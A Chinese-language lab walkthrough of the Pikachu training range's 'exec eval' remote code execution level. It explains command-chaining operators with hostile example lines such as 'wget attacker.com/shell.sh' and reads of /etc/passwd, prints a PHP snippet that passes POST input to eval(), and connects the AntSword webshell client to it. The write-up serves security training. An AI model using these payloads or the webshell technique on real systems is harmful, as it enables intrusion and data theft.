目录
本系列为通过《pikachu靶场通关笔记》的RCE远程命令执行关卡(共2关)渗透集合,通过对RCE关卡源码的代码审计找到RCE安全风险的真实原因,讲解RCE远程命令执行原理并进行渗透实践,本文为RCE02关卡exec eval关卡的渗透部分。
一、远程执行命令
远程命令执行(RCE,Remote Code/Command Execution)是一种高危安全风险,攻击者能够通过构造恶意输入,在目标服务器上执行任意系统命令,从而完全控制服务器或窃取敏感数据。
二、常用符号
命令执行安全风险中常用如下 &、&&、|、||、;命令,具体的用法如下所示。
1、&
(后台运行符)
- 功能:使前一条命令在后台运行,立即执行后一条命令。
- 特点:并行执行,不依赖前一条命令的成败。
- 利用:常用于同时执行多条恶意命令,如:
ping 127.0.0.1 & cat /etc/password
2、&&(逻辑与符)
- 功能:只有前一条命令成功(返回0)时才执行后一条命令。
- 特点:顺序执行,形成依赖关系。
- 利用:用于条件性攻击,如:id && rm -rf /tmp/exploit
3、|(管道符)
- 功能:将前一条命令的输出作为后一条命令的输入。
- 特点:必须执行前一条命令才能触发后一条。
- 利用:用于数据过滤和传递,如:cat /etc/passwd | grep root
4、||(逻辑或符)
- 功能:前一条命令失败(返回非0)时才执行后一条命令。
- 特点:失败触发机制。
- 利用:用于绕过防御,如:invalid_cmd || wget attacker.com/shell.sh
5、;(命令分隔符)
- 功能:按顺序执行多条命令,无论前一条是否成功。
- 特点:无条件顺序执行。
- 利用:批量执行攻击命令,如:uname -a; whoami; id
三、源码分析
进入到pikachu靶场的命令执行exec eval 02关卡,找到源码rce_ping.php文件进行分析。
http://127.0.0.1/pikachu/vul/rce/rce_eval.php
这段 PHP 代码的主要功能是接收用户通过 POST 方式提交的表单数据,具体是表单中名为 txt
的字段。如果该字段不为空,代码会尝试将其内容作为 PHP 代码进行执行。若执行失败,会在 $html
变量中追加一段提示信息,后续可以将 $html
变量的内容输出到页面上,给用户展示相应提示。经过详细注释的源码如下所示。
// 初始化一个空字符串变量 $html,用于存储后续要输出的 HTML 内容
$html = '';
// 检查是否通过 POST 方式提交了表单,并且表单中名为 'txt' 的字段不为空
if (isset($_POST['submit']) && $_POST['txt'] != null) {
// 使用 @ 符号抑制可能产生的错误信息,然后尝试执行用户通过 POST 方式提交的 'txt' 字段中的 PHP 代码
// eval() 函数会将传入的字符串作为 PHP 代码来执行
if (@!eval($_POST['txt'])) {
// 如果 eval() 函数执行失败(返回 false),则将一段 HTML 提示信息追加到 $html 变量中
$html .= "<p>你喜欢的字符还挺奇怪的!</p>";
}
}
源码中,将我们提交内容txt用了一个eval函数判断,如果错误,返回“你喜欢的字符还挺奇怪”,正确直接执行了,并将结果返回到前端。此代码存在严重的命令执行安全风险,原因在于直接使用了 eval()
函数来执行用户输入的内容,并且没有对用户输入进行任何有效的验证和过滤。eval()
函数会将传入的字符串当作 PHP 代码来执行,这意味着攻击者可以构造恶意的 PHP 代码作为输入。
四、渗透实战
1、phpipnfo
输入phpinfo();然后点击提交,如下所示。
执行成功,效果如下所示。
bp抓包,内容如下
POST内容如下所示。
txt=phpinfo%28%29%3B&submit=%E6%8F%90%E4%BA%A4
发现POST还包含如下内容。
submit=%E6%8F%90%E4%BA%A4
2、蚁剑连接
(1)配置密码
连接蚁剑工具,URL地址就是本关卡的链接,因源码包含eval($_POST['txt'],故而内容如下所示。
URL地址:http://192.168.59.1/pikachu/vul/rce/rce_eval.php
密码填写:txt
(2)补充submit参数
由于POST还传参submit=%E6%8F%90%E4%BA%A4,需要点击请求信息,添加如下内容到body部分,注意不要填到header首部。其中name为submit,value为%E6%8F%90%E4%BA%A4,具体如下所示。
(3)连接蚁剑
配置完毕后点击测试连接,如下所示显示连接成功。